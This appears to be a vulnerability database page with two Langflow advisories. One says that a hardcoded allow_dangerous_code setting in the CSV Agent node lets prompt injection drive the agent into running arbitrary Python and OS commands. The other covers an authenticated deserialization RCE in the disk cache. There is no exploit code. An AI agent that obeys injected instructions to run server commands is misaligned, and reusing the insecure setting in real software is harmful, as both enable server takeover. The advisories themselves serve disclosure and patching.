Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.8.0, the CSV Agent node in Langflow hardcodes `allow_dangerous_code=True`, which automatically exposes LangChain’s Python REPL tool (`python_repl_ast`). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). Version 1.8.0 fixes the issue.
Severity ?
9.8 (Critical)
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Affected:
< 1.8.0
|
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CVE-2026-0772 (GCVE-0-2026-0772)
Vulnerability from cvelistv5 – Published: 2026-01-23 03:29 – Updated: 2026-02-26 14:44
VLAI?
Title
Langflow Disk Cache Deserialization of Untrusted Data Remote Code Execution Vulnerability
Summary
Langflow Disk Cache Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is required to exploit this vulnerability.
The specific flaw exists within the disk cache service. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27919.
Severity ?
7.5 (High)
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Date Public ?
2026-01-09 16:39
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